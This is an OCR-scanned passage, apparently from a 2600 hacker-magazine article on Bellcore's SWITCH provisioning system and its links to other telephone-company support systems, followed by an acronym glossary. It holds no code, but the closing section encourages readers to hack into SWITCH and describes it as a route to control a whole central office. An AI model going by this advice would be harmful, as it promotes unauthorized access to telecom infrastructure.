(Generic TAS). TAS and GTAS were TIRKS 
modules that assigned trunks to the "trunk 
frame" ( I  use this phrase virtually) on the 
trunk s i d e  of the network, a n d  trunk 
provisioning at the C O  was dependent on 
TAS/GTAS . But now SWITC H will assign 
"trunk frame slots" in response to "orders" (that 
come from the network planning/trunk traffic 
division of the LEC), just as SWITCH assigned 
line frame slots in response to orders (that 
came from customers). 

The entrance of SWITC H i n to trunk 
provisioning is just part of an overall effort 
underway of revising trunk provisioning. There 
will be a TIRKS·SOAC·SWITCH connection. 
When TIRKS gets an "order" from the trunk 
traffic/planning bureau for a new trunk or 
carrier to be placed between offices, the first 
thing TIRKS does is communicate with SOAC, 
and through SOAC, SWITCH. SWITCH assigns 
a space for the trunk on the "trunk frame" and 
then returns the completed assignment to 
TIRKS through SOAC. Then TIRKS sends the 
order to other OSS's/office's to complete the 
trunk order fully. I should make it clear that 
this Version 2 connection between TIRKS and 
"FACS" is just a token one, and the TIRKS/ 
"FACS" connection will expand greatly within 
later versions of SWITC H ,  as well as non· 
related to SWITCH ways . Si nce TI RKS i s  
concerned with trunk provisioning and FACS is 
concerned with line provisioning, this expanded 
i n t erface will  mean more of a connection 
between line and trunk provisioning in the 
future. SWITCH version 2 will undergo testing 
just like version 1. The testing will take place 
in the 2 sites Version 1 testing took place in. 
Testing will revolve around the same lines : 
'parallel" testi ng with test data, "parallel" 
testing with real data, initial real usage of the 
system, system after modifications made from 
watching previous testing (and ready for initial 
distribution ).  And si nce B ELLCORE's time 
estimation of when Version 1 would be out was 
so off, they're not making any promises as of 
when Version 2 will be distributed. That's an 
explanation of the two versions of SWITCH. As 
I said, Version 1.5 is the first time SWITCH 
will actually be provisioning for orders and will 
actually be hooked up to SOAC i.e.,  the first 
time it will not be in test mode but in working 
mode. Implementation of SWITCH Version 1 .5 
should coincide with the distribution of this 
issue of 2600 by several weeks. 

The Business Office will use SWITCH as a 
datab a s e  for telephone n u mbers a n d  the 
services each tel ephone number has (RCF, 

Speed Calling, etc. ). This information will be 
provided through the Business OfficelSWITCH 
software contract. Other centers (and OSS's) 
that are connected with provisioning customer 
service will have their own separate software 
con tracts with S W I T C H  for i n formation 
receiving. "Contracts" are fundamentally to 
make SWITCH an OSCA system (after all this 
OSCA OSS planning we finally have one), but 
more theoretically con tracts poi n t  out the 
s e c o n d  side of "provi sioning".  O f  cours e ,  
a s s i g n m e n t  has been t h e  o n l y  p a r t  o f  
SWITC H ' s  p rovi sioning process so far, 
assignment of line and trunk frame "slots".  
However, another big part of provisioning is 
inventory, or s i mply keeping track of the 
assignments.  Through these contract s ,  
SWITCH fulfills its second provisioning duty. 

The only system SWITCH actually connects 
to (in Versions 1 and 2) is SOAC. But through 
S OAC ( a n d  through T I R K S  via SOAC ) ,  
S W I T C H  connects to LFAC S ,  M I ZA R ,  
F1/TIRKS, ClMAP, and even CAROT. The idea 
of con necting all the provi s ioning systems 
(trunk and line side) is a cornerstone of IPS. 

One of SWITCH's features that make i t  
better than COSMOS and GTASITAS in that if 
an order cannot be completed by SWITCH, it is 
at least partially completed with information 
from SWITCH's database, to make life for the 
person who would manually compl ete a 
complex order for a new digital service easier. 

Perhaps the coolest thing about SWITCH 
(to the LEC's, not the hacker) is its flexibility 
pertaining to pending work. I t's ·no prob" to 
change an order mid w ay through th e 
provisioning process with SWITCH. An order 
change can range from a change in due date 
(push the installation from 9/1 8  to 9130) to a 
change in facilities (make that two lines, not 
one).  SWITCH just reworks the order and 
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that's that, no mess ,  no fuss. And SWITCH 
reworks an order in the most cost-efficient way 
that it can. 

I suppose I should tell you that SWITCH 
will be running on IBM-compatible mainframe 
computers. Since SWITCH won't be hooked up 
to any OSS's or even any actual equipment 
until two months past this article's deadline 
(never mind a node on a Datakit VCS or a ROC 
PSN), this article is a "pre-view", not a "re
view". For that reason, we do not go into the 
base mechanics of SWITCH logon, commands, 
etc. However, SWITCH 1.5 will be implemented 
right at the time this issue comes out (in the 
Bell Atlantic and BellSouth offices previously 
mentioned),  so you will be able to hack into 
SWITCH. It would be rather amusing to have a 
hacker on an ass on the first day the OSS is 
ever used. 

So in the end,  what will SWITCH and 
IPSIEPS/OPS mean for hackers? Well, "routes" 
are a popular thing nowadays .  One who 
"controls' Telenet can access a ROC's private 
"NUA prefix" with ease, and thus through 
Telenet one has a route to an ROC's OSS. On 
the same token, SWITCH will provide routes 
for hackers. SWITCH can route to SOAC , 
MIZAR, LFACS, and TIRKS. So basically if a 
hacker controls SWITCH and the switch, he 
controls the whole damned CO from cable room 
to OGT. 

SWITCH Version 2 provisions message 
trunks at the CO. Nowadays trunks aren't 
important without 2600 Hz abilities , unless 
they are speci al services circuits . But with 
CCIS and ISDN signalling, when the switching 
network and the customer begin to route calls 
over trunks separate of the data/voice signal, 
perhaps the importance of trunks will increase. 
Of course, traditionally, the OPS systems hold 
the greatest esteem among hackers, for LMOS 
and SARTS can actually take control of lines 
and special services circuits respectfully. IPS 
would be good for the databases .. .  after all, IPS 
not only provisions, it keeps records of the 
provisions as well. Perhaps in the future, 
knowledge of LEC trunks will grow in  
importance, if  the way the Nodal system we 
currently have changes as well ( i . e . ,  from 
NPAINXX-XXXX to a more complicated system 
containing "can't get to" areas - hardwiring and 
special services circuits). 

Acronyms 
BELLCORE: BELL COmmunications REsearch. 
CAROT: Centralized Auwmatic Reporting On Trunks. 

This OSS monitoTs message trunks for trouble and 
and alerts technicians. 

CCIS: Common Channel Interoffice Signalling. A type 
of trunk signalling where the signal and the 
routing are separated. 

CCS6: I forgot one. Shoot me. 

ClMAP: Circuit Installation and Maintenance 
Assistance Package. 

CO: Central Office - The office where the customer 
connects with the Bwitching network. 

COSMOS: COmputer System for Mainframe 
OperationS · Old OSS that used to provision for 
line service orders by connecting OE to CPo 

CPo Cable Pair - John Maxfield. 
CRAS: Cable Repair Administrative System. 
CRSAB: Centralized Repair Service Answering Bureau. 
CTTU: Central Trunk Test Unit. 
DACS: Digital Aceess and Cross-connect System. 

DOV: Data Over Voice. 
EPS: Engineering and Planning System. 
FACS: Facility Assignment and Control System. The system 

that used to provision fur eustomer line omero. 
FDM: Frequency Division Multiplexing. 
FOMS: Frame Operations Management System. The 

subsYstem of SWITCH that replaces COSMOS. 
GTAS: Generic Trunk Administration System. 
IBM: International Business Machines. 
IEC: Inter-Exchange Carrier. 
IPS: Integrated Provisioning System. 
ISDN: Integrated Services Digital Network. 
LAC: Loop Assignment Center. 
LEC: Local Exchange Carrier. A company, sometimes a 

BOC, that oversees one or more LATA's in an area. 
LFACS: Loop Facilities Assignment and Control 

System. 
LMOS: I ,oop Maintenance Operation System. 
MDF: Main Distributing Frame. 
MF: Multi-Frequency. 
MIZAR: .. .is blowin' in the wind ... 
MLT: Mechanized Loop Testing. 
NFVT: Netted Field Verification Testing. 
NTEC: Network Terminal Equipment Center. 
NYNEX: New York and New England (re!lecting the region's 

roots) and X (representing "the unknown and exciting 
future of the burgeoning information market" and the 
"unlimited quality" of the new conoem) 

ODD: Office Dependent Data. 
OE: Office Equipment · Originating Equipment · a 

line's location on the MDF. 
OGT: OutGoing Trunk - where trunks leave the CO. 
OPS: Operations Process System. 
OSS: Operations Support System - a computer system 

used by a LEC or lEe to mechanize operations. 
PICS: Plug·in Inventory Control System. 
POVT: Provisioning On-site Verification Testing. 
PSN: Packet Switching Network. 
RC: Recent Change. 
RCF: Remote Call Forwarding. 
RCMAC: Recent Change Memory Administration 

Center. 
ROC : Regional Operating Company - Nynex, 

Ameritech, BellSouth, US West, etc. 
SARTS: Switched Access Remote Test System. 
SCCS: Switching Control Center System. 
SOAC: Service Order Analysis and Control. 
SOP: Service Order ProcesRing. 
SPC: Stored Program Control. 
SSC : Special Service Center. 
SWITCH: ... the answer is blowin' in the wind ... 
TAS: Trunk Administration System. 
TDM: Time Division Multiplexing. 
TIRKS: Trunks Integrated Record Keeping System. 

This system controls almost every aspect of 
message trunks except testing. 

VCS: Virtual Circuit Switch. 
Special. thanks to Donn B. Par""r. 
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